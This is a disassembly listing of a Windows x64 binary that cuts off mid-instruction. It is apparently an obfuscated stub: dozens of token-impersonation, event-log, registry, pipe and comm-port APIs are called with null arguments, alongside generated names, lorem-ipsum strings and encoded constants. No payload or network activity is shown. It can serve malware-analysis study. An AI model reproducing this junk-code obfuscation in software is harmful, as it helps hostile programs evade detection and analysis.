lea rcx, str.LydiaDicki
mov dword [rdx], eax
xor edx, edx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor edx, edx
lea rcx, str.Repudiandae_quasi_blanditiis_molestiae_consequuntur_et_voluptas_ut
call rdi
mov rax, qword [0x004ca230]
mov ecx, dword [rax]
mov rax, qword [0x004ca370]
mov edx, dword [rax]
mov rax, qword [0x004cabc0]
mov dword [r13], ecx
mov dword [rax], edx
mov rax, qword [0x004ca1c0]
mov rdx, qword [0x004cae00]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca720]
mov dword [rdx], eax
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caea0]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rax, qword [0x004ca250]
mov r13, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.MrsTyraTurnerSr
mov dword [rax], 0xf5aadd7e
call r13
xor edx, edx
lea rcx, str.Dolore_eos
call rdi
mov rax, qword [0x004caa60]
mov rdi, qword [str.7U5]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca620]
mov dword [rax], 0xaf337048
call r15
mov r10, qword [0x004caab0]
lea rcx, str.ProfHowellSatterfield
mov dword [r10], 0xdfe59ae5
call r13
mov rax, qword [0x004ca520]
mov rdi, qword [0x004cad80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
call rbx
lea rcx, str.Nihil_qui_vel_voluptas_ipsa_repudiandae_reiciendis
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
call rbp
mov rax, qword [0x004ca480]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca5f0]
mov dword [rax], edx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cae00]
xor edx, edx
xor ecx, ecx
lea r8, str.Itaque_molestiae_eaque_voluptate_est_veniam_alias_voluptas_magni
mov dword [rax], 0x52188ccd
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cae80]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cad10]
mov dword [rax], edx
xor edx, edx
call rsi
xor ecx, ecx
call rbp
mov rax, qword [rsp + 0x50]
xor ecx, ecx
call rax
mov rax, qword [0x004cacb0]
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe8], 0
cmp dword [rax], 0x1977
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xd8], 0
jle 0x415f6e
mov rsi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rsi
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rdi
mov rbp, qword [0x004ca2b0]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cae00]
mov rbx, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.DawnParisian
mov dword [rbp], 0xe5d9d147
mov dword [rax], 0x5fd3aee2
call rbx
mov rax, qword [0x004ca710]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca7c0]
mov dword [rax], edx
xor edx, edx
call rsi
mov ecx, 0xe7799833
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caf10]
mov r14, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
mov rax, qword [0x004ca780]
mov edx, dword [rax]
mov rax, qword [0x004cadb0]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
xor edx, edx
mov r12, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r12
mov r15, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call r15
mov rax, qword [0x004ca9d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac80]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004ca810]
mov rdx, qword [0x004ca3d0]
mov ecx, 0x84835809
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cad80]
mov edx, dword [rax]
mov rax, qword [0x004ca510]
mov dword [rax], edx
mov rax, qword [0x004ca9c0]
mov edx, dword [rax]
mov rax, qword [0x004caec0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cae70]
mov dword [rdx], eax
mov rax, qword [0x004ca240]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [rbp], eax
call rdi
mov r13, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Eum_necessitatibus_voluptatem_nesciunt_qui
call r13
xor ecx, ecx
call r15
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call rbp
mov rax, qword [0x004caa00]
xor ecx, ecx
mov dword [rax], 0xe2cb6d8
mov rax, qword [0x004ca430]
mov edx, dword [rax]
mov rax, qword [0x004ca620]
mov dword [rax], edx
mov rax, qword [0x004ca540]
mov dword [rax], 0xea9740b1
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r15
mov r10, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], r10
call r10
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rax, qword [0x004caf10]
mov edx, dword [rax]
mov rax, qword [0x004cad50]
mov dword [rax], edx
mov rax, qword [0x004ca480]
mov edx, dword [rax]
mov rax, qword [0x004caef0]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r15
lea rcx, str.Dolore_est_at_nobis_reiciendis_voluptatem_tempora
call r13
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0xa33f4a6
call fcn.00414620
mov rdx, qword [0x004ca290]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rax, qword [0x004ca240]
mov r11, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rdx, qword [0x004ca280]
mov dword [rax], 0x7c0a4629
mov rax, qword [0x004caf00]
mov qword [rsp + 0x58], r11
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r11
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cae60]
mov edx, dword [rax]
mov rax, qword [0x004cab20]
mov dword [rax], edx
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov r11, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004cad20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca2c0]
mov dword [rax], 0x88ebba8a
mov rax, qword [0x004cab70]
mov edx, dword [rax]
mov rax, qword [0x004caee0]
mov dword [rax], edx
mov rax, qword [0x004ca630]
xor edx, edx
mov dword [rax], 0x62387d02
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r11
mov ecx, 0x41022196
call fcn.00414620
mov rdx, qword [0x004ca440]
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca280]
mov dword [rax], 0x6803c559
mov rax, qword [0x004ca3d0]
mov edx, dword [rax]
mov rax, qword [0x004caa10]
mov dword [rax], edx
mov rax, qword [0x004ca2e0]
mov dword [rax], 0x82ae652d
mov rax, qword [0x004caeb0]
mov dword [rax], 0xdba8ae3d
call r15
mov rax, qword [0x004ca250]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caaf0]
mov dword [rax], edx
call r15
mov rax, qword [0x004ca3b0]
xor edx, edx
xor ecx, ecx
lea r8, str.ProfFranciscoHickleSr
mov dword [rax], 0xee8205d2
call rbx
xor ecx, ecx
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r10, qword [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov rax, qword [0x004cab00]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc8f46309
call r10
mov rax, qword [0x004ca790]
xor ecx, ecx
lea r8, str.Iste_qui_quia_praesentium_voluptas_ducimus
mov edx, dword [rax]
mov rax, qword [0x004ca210]
mov dword [rax], edx
xor edx, edx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004ca810]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae30]
mov dword [rax], edx
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rdx, str.Distinctio_assumenda_omnis_delectus_minima_autem
lea rcx, str.Quia_et_aliquam_quas_culpa_quis_qui
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov r14, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Iste_eius_similique_ullam_fugiat_rerum_eveniet_ipsam_nihil_nostrum_delectus_magni_suscipit_aut_cum
call r14
xor ecx, ecx
call rbp
lea r8, str.DrBrookMitchellV
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
call rdi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cab60]
mov rsi, qword [0x004ca240]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
call r15
lea r8, str.DrTedHarrisSr
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cae80]
lea rcx, str.Accusamus_nam_quia_delectus_aut_officiis_molestiae_veritatis
mov dword [rax], 0x3f66e1d6
call r14
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca200]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6d0]
xor r8d, r8d
xor ecx, ecx
mov rsi, qword [0x004ca3b0]
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [rdx], eax
mov rax, qword [0x004cad20]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
call rbx
lea rcx, str.Fuga_non_voluptatibus_illum_quisquam_quae_sit_vitae_similique_aspernatur_qui
call r13
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rax, qword [0x004ca4c0]
xor r8d, r8d
xor ecx, ecx
mov dword [rax], 0xa08a3446
mov rax, qword [0x004ca800]
mov edx, dword [rax]
mov rax, qword [0x004cac70]
mov dword [rax], edx
xor edx, edx
call rbx
mov rax, qword [0x004cae60]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac20]
mov dword [rax], edx
xor edx, edx
call r12
xor ecx, ecx
call rbp
mov rax, qword [0x004cacb0]
mov dword [rsp + 0xf8], 0x18
mov dword [rsp + 0x108], 1
cmp dword [rax], 0x8fc3
mov qword [rsp + 0x100], 0
jle 0x4168f5
mov r12, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r12
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1b0]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Accusantium_porro_omnis
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca2e0]
xor ecx, ecx
mov dword [rax], 0x880e83e6
mov rax, qword [0x004caee0]
mov dword [rax], 0xe62bde8e
mov rax, qword [0x004caf40]
mov dword [rax], 0xeabe2f09
mov rax, qword [0x004ca630]
mov edx, dword [rax]
mov rax, qword [0x004ca520]
mov dword [rax], edx
mov rax, qword [0x004caa80]
mov edx, dword [rax]
mov rax, qword [0x004cadc0]
mov dword [rax], edx
call r12
mov rax, qword [0x004ca690]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x2e9af0eb
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca780]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rax], 0x5da4cff3
call rbx
mov rax, qword [0x004cab30]
mov ecx, 0xbef10e91
mov edx, dword [rax]
mov rax, qword [0x004ca530]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca990]
mov rsi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.DrMariamBuckridgeIII
mov dword [rdx], eax
call rsi
xor ecx, ecx
call rbx
mov r15, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r15
mov rax, qword [0x004cabb0]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov edx, dword [rax]
mov rax, qword [0x004caa40]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
lea rcx, str.At_modi_eveniet_dolor
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov ecx, 0xaf8554b
call fcn.00414620
mov rdi, qword [0x004ca9d0]
mov dword [rdi], eax
mov rax, qword [0x004ca260]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7c0]
mov rdi, qword [0x004cada0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cae20]
mov eax, dword [rax]
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rax, qword [0x004cab80]
mov rdi, qword [0x004ca350]
lea rdx, str.MaximeRempel
lea rcx, str.Adipisci_perferendis_omnis_velit_occaecati_asperiores
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x70], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
mov r11, qword [0x004caf50]
mov rax, qword [0x004cade0]
xor ecx, ecx
mov edx, dword [r11]
mov dword [rax], edx
mov rax, qword [0x004cadb0]
mov edx, dword [rax]
mov rax, qword [0x004ca7e0]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004ca6d0]
mov rdi, qword [0x004ca230]
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rax]
mov dword [rdi], eax
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004ca620]
xor ecx, ecx
mov dword [rax], 0x29017762
mov rax, qword [0x004caba0]
mov dword [rax], 0x78c355a2
call r15
mov rax, qword [0x004caf30]
xor ecx, ecx
mov dword [rax], 0xd27db75c
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca5a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3f0]
mov ecx, 0xd83bd5fa
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004caac0]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004ca360]
xor ecx, ecx
mov dword [rax], 0x18611984
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call r12
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x90], rax
call rax
mov rax, qword [0x004caad0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2a0]
lea rcx, str.Necessitatibus_quis_sed_possimus_debitis
mov dword [rdx], eax
lea rdx, str.Minus_qui_molestias_ut_amet_placeat_quae
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], rax
call rax
mov ecx, 0x764826b2
call fcn.00414620
mov rdx, qword [0x004ca290]
mov rdi, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004ca470]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca660]
mov dword [rax], edx
call rdi
mov rax, qword [0x004ca260]
mov r10, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.ClarkDietrich
mov dword [rax], 0xe36c183b
mov rax, qword [0x004ca1e0]
mov qword [rsp + 0x98], r10
mov dword [rax], 0xbf255926
call r10
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
mov rax, qword [0x004ca9d0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4d2d4be8
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], rax
call rax
mov rax, qword [0x004ca6c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad20]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004caaa0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cab40]
mov dword [rax], edx
call r15
xor ecx, ecx
call r15
mov rax, qword [0x004ca3c0]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca760]
mov dword [rax], edx
mov rax, qword [0x004ca550]
xor edx, edx
mov dword [rax], 0x1e899580
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004cad60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae20]
mov r15, qword [0x004cae40]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca320]
mov eax, dword [rax]
mov dword [r15], eax
call rbp
lea rcx, str.Iusto_sed_harum_enim_animi_rerum_incidunt_omnis_nobis
call rsi
mov ecx, dword [r15]
call fcn.00414620
mov r15, qword [0x004ca720]
xor edx, edx
xor ecx, ecx
mov dword [r15], eax
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004ca390]
mov dword [rax], 0xdb9d1133
mov rax, qword [0x004caf20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca230]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r14
lea rcx, str.Qui_quos_officia_eveniet_exercitationem_ut_incidunt
call rsi
mov ecx, 0xe571cc59
call fcn.00414620
mov rdx, qword [0x004ca350]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cadd0]
mov rdx, qword [0x004ca690]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caf80]
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004cabd0]
xor ecx, ecx
mov dword [r15], 0x5ccd9d1e
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
mov rax, qword [0x004ca710]
xor edx, edx
mov dword [rax], 0x48bcee62
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov ecx, 0x2a744de8
call fcn.00414620
mov rdx, qword [0x004caab0]
lea rcx, str.Commodi_tempora_voluptate
mov dword [rdx], eax
mov rax, qword [0x004cac30]
mov edx, dword [rax]
mov rax, qword [0x004ca2d0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004ca2b0]
xor ecx, ecx
mov dword [rax], 0x231f7a97
call rdi
mov rax, qword [0x004caa00]
mov ecx, 0x28f78909
mov edx, dword [rax]
mov rax, qword [0x004ca1a0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca280]
lea rcx, str.KennithWaelchi
mov dword [rdx], eax
lea rdx, str.JanickStehr
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004cada0]
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0x67c944c4
call r15
xor edx, edx
lea rcx, str.ProfRaymundoJakubowski
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca560]
lea rcx, str.MaymiePagacIII
mov edx, dword [rax]
mov rax, qword [0x004cac10]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004ca490]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca210]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
lea rcx, str.AdellLeuschke
call rsi
mov rax, qword [0x004ca500]
mov rdx, qword [0x004cada0]
mov ecx, 0x245696e0
mov r12, qword [0x004ca6f0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca220]
mov eax, dword [rax]
mov dword [r12], eax
call fcn.00414620
mov rdx, qword [0x004caa70]
mov ecx, 0x80c101f1
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cad50]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004ca440]
mov rbp, qword [0x004caaf0]
xor ecx, ecx
lea r8, str.HalKulas
mov edx, dword [rax]
mov rax, qword [0x004caed0]
mov dword [rbp], 0x23ab909f
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x90]
call rax
mov rax, qword [0x004cad40]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca360]
mov dword [rdx], eax
mov rax, qword [0x004ca1f0]
mov dword [rax], 0xf1b1528a
mov rax, qword [0x004cabf0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab60]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r14
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca200]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [0x004ca750]
mov edx, dword [rax]
mov rax, qword [0x004ca9c0]
mov dword [rax], edx
xor edx, edx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov r11, qword [0x004caf50]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov eax, dword [r11]
mov dword [r12], eax
mov rax, qword [0x004ca570]
mov eax, dword [rax]
mov dword [r11], eax
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0
call rax
xor ecx, ecx
call r15
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
mov rax, qword [0x004caa00]
mov rbx, qword [0x004cadb0]
lea rcx, str.Voluptatem_quibusdam_nisi_corporis_fugiat_dolorum
mov r10, qword [rsp + 0x98]
mov edx, dword [rax]
mov rax, qword [0x004cac40]
mov dword [rax], edx
mov rax, qword [0x004caca0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cab50]
mov edx, dword [rax]
mov rax, qword [0x004ca2f0]
mov dword [rax], edx
call r10
xor edx, edx
lea rcx, str.Necessitatibus_id_debitis_quam
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x8fdc2c0
call fcn.00414620
mov rdx, qword [0x004ca430]
xor ecx, ecx
mov dword [rdx], eax
call r15
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca540]
xor ecx, ecx
mov dword [rax], 0xf00bb1cb
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call rdi
lea rcx, str.SandraWelch
call rsi
xor r9d, r9d
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x416f3c
mov rax, qword [0x004ca7f0]
mov rdi, qword [0x004ca260]
mov ecx, 0x64725dbb
mov edx, dword [rax]
mov rax, qword [0x004cad20]
mov dword [rdi], 0x376a4bac
mov dword [rax], edx
call fcn.00414620
mov rbp, qword [0x004cabb0]
mov dword [rdi], 0x7f77a63f
lea rdx, str.DustyAnderson
lea rcx, str.Error_necessitatibus_cumque_minus_odit_nulla_a_velit_et_laborum_libero_quia_dolores
mov dword [rbp], eax
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rax, qword [0x004caec0]
xor edx, edx
xor ecx, ecx
mov rsi, qword [0x004ca9e0]
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov eax, dword [rax]
mov dword [rsi], eax
call r12
mov rax, qword [0x004caa00]
xor ecx, ecx
mov dword [rax], 0x4f75620c
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [0x004cab00]
mov rsi, qword [0x004ca1c0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca780]
mov dword [rax], edx
mov rax, qword [str.eNl.h_Q]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
call r12
mov ecx, 0x7f176e32
call fcn.00414620
mov rdx, qword [0x004ca320]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rsi
mov r10, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004ca7e0]
mov qword [rsp + 0x68], r10
mov dword [rax], 0x526379c0
call r10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.ProfCarolFeil
call r15
mov rax, qword [0x004ca410]
mov ecx, dword [rax]
call fcn.00414620
mov r14, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Veritatis_voluptatem_culpa_cupiditate_facere_reprehenderit_culpa_recusandae_est_sint
mov dword [rbp], eax
call r14
mov rax, qword [0x004ca740]
mov r13, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rax], 0x7a2851f5
call r13
mov dword [rdi], 0x94601818
lea rcx, str.MrAlexanderBogisichIII
call r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.MsElfriedaRippin
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0xb4537e72
call fcn.00414620
mov rdx, qword [0x004caf00]
